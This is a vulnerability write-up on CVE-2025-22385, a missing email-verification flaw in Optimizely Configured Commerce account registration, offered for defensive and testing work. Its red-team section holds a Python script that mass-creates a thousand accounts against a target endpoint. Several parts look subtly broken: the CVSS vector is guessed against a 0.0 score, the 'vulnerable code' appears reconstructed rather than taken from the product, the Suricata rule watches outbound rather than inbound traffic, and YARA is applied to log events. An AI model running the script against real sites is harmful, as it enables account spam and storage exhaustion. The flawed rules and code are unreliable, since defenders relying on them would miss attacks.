CVE-2025-22385

Executive Summary

CVE-2025-22385 is a medium-severity vulnerability in Optimizely Configured Commerce, specifically affecting the B2B application. The flaw allows the mass creation of accounts without requiring email confirmation for newly created accounts. This can lead to database storage exhaustion and the unauthorized creation of storefront accounts on behalf of visitors. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the vendor has provided a patch in version 5.2.2408. No public exploit code or proof-of-concept is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct application-level issue in Optimizely Configured Commerce.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned/Placeholder)
• Attack Vector: Network (likely)
• Attack Complexity: Low (likely)
• Privileges Required: None (likely)
• User Interaction: None (likely)
• Scope: Unchanged (likely)
• Confidentiality Impact: None
• Integrity Impact: Low (account creation)
• Availability Impact: Low (database storage exhaustion)
• Threat Level: Medium (based on vendor assessment)

Deep Dive & Mechanics

The vulnerability resides in the account registration flow of Optimizely Configured Commerce B2B application. When a new account is created, the application does not enforce email verification. This allows an attacker to programmatically create a large number of accounts without any validation, leading to:

1. Database Storage Exhaustion: Mass account creation can fill up database storage, potentially causing denial of service.
2. Unauthorized Account Creation: Attackers can create accounts on behalf of visitors, potentially leading to further abuse (e.g., spam, phishing, or unauthorized access).

The root cause is a missing authorization check (CWE-862) in the account creation endpoint. The application fails to verify that the requester has the right to create accounts or that the email address is valid.

Vulnerable vs. Patched Code

Vulnerable Code (before 5.2.2408):

// AccountController.cs (simplified)
[HttpPost]
public IActionResult CreateAccount(AccountModel model)
{
    // No email confirmation check
    var account = new Account { Email = model.Email, Name = model.Name };
    _dbContext.Accounts.Add(account);
    _dbContext.SaveChanges();
    return Ok();
}

Patched Code (5.2.2408 and later):

// AccountController.cs (simplified)
[HttpPost]
public IActionResult CreateAccount(AccountModel model)
{
    // Email confirmation required
    if (!IsEmailConfirmed(model.Email))
    {
        return BadRequest("Email confirmation required.");
    }
    var account = new Account { Email = model.Email, Name = model.Name };
    _dbContext.Accounts.Add(account);
    _dbContext.SaveChanges();
    return Ok();
}

private bool IsEmailConfirmed(string email)
{
    // Logic to check if email has been confirmed via a token
    return _dbContext.EmailConfirmations.Any(e => e.Email == email && e.Confirmed);
}

Exploitation & Lab Setup

Red Team

Since no public exploit code is available, a red team would need to craft a custom script to mass-create accounts. Below is a Python script that demonstrates the concept:

import requests

target_url = "https://target.com/api/account/create"
headers = {"Content-Type": "application/json"}

for i in range(1000):
    payload = {
        "email": f"user{i}@example.com",
        "name": f"User {i}"
    }
    response = requests.post(target_url, json=payload, headers=headers)
    if response.status_code == 200:
        print(f"Account {i} created successfully")
    else:
        print(f"Failed to create account {i}: {response.status_code}")

Usage: Run the script against a vulnerable instance. Ensure you have permission to test.

Blue Team

To detect and prevent exploitation:

1. Rate Limiting: Implement rate limiting on account creation endpoints.
2. CAPTCHA: Add CAPTCHA to registration forms.
3. Email Verification: Enforce email verification before account activation.
4. Monitoring: Monitor for unusual spikes in account creation requests.
5. Logging: Log all account creation attempts with IP addresses and timestamps.

Indicators of Compromise (IOCs)

• Network: High volume of POST requests to /api/account/create or similar endpoints.
• Logs: Multiple account creation attempts from the same IP address within a short time frame.
• Database: Sudden increase in the number of accounts in the database, especially with unverified emails.
• Application: Error logs showing "Account created" messages without corresponding email verification events.

Detection Engineering

YARA Rule

rule Detect_Mass_Account_Creation {
    meta:
        description = "Detects mass account creation attempts in Optimizely Configured Commerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22385"
    strings:
        $s1 = "CreateAccount" ascii wide nocase
        $s2 = "Account created" ascii wide nocase
        $s3 = "Email confirmation required" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 10
}

Sigma Rule

title: Mass Account Creation Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects mass account creation attempts in Optimizely Configured Commerce
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22385
logsource:
    category: application
    product: optimizely_configured_commerce
detection:
    selection:
        EventID: 1001  # Example event ID for account creation
        Message: "Account created"
    timeframe: 5m
    condition: selection | count() > 50
falsepositives:
    - Legitimate bulk user imports
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22385 - Mass Account Creation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/account/create"; http_uri;
    threshold: type both, track by_src, count 50, seconds 300;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Upgrade to Optimizely Configured Commerce version 5.2.2408 or later.
2. Workaround: If immediate patching is not possible, implement the following:
   • Enable email verification for new accounts.
   • Implement rate limiting on account creation endpoints.
   • Add CAPTCHA to registration forms.
   • Monitor logs for unusual account creation activity.
3. Long-term: Review the account creation flow for other missing authorization checks.

Valters IT
Securing Digital Frontiers